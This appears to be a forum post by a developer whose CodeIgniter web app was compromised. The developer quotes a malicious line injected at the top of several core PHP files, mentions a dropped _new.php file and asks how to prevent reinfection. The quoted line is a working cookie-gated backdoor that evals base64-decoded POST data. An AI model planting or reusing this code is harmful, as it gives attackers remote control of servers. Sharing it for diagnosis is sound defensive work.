The other day I noticed that a placeholder account for a webapp I’m working on over at http://critormiss.com starting spitting out errors and refusing to work. The strange thing was that I haven’t made any changes in a while. I’ve searched the internet and seem a number of other sites recently getting the same errors.
Basically, at the top of several of my CI base classes (like Loader.php, CodeIgniter.php, config/url_helper, etc) the opening line has been modified to read:
<?php if(md5($_COOKIE['_wp_debugger'])=="cd15478ffb4a49eece991be29cdf8f64"){ eval(base64_decode($_POST['file'])); exit; } ?><?php if (!defined('BASEPATH')) exit('No direct script access allowed');I also found a new file (simply called _new.php) in /server/ directory. I’ve renamed it and can provide it anyone wants to browse through.
My .htaccess file is:
RewriteEngine on
RewriteCond $1 !^(index\.php|public|tmp|robots\.txt)
RewriteRule ^(.*)$ /index.php/$1 [L]Anyone know how they might have modified the files, and how I can keep them from doing it again?
Thanks!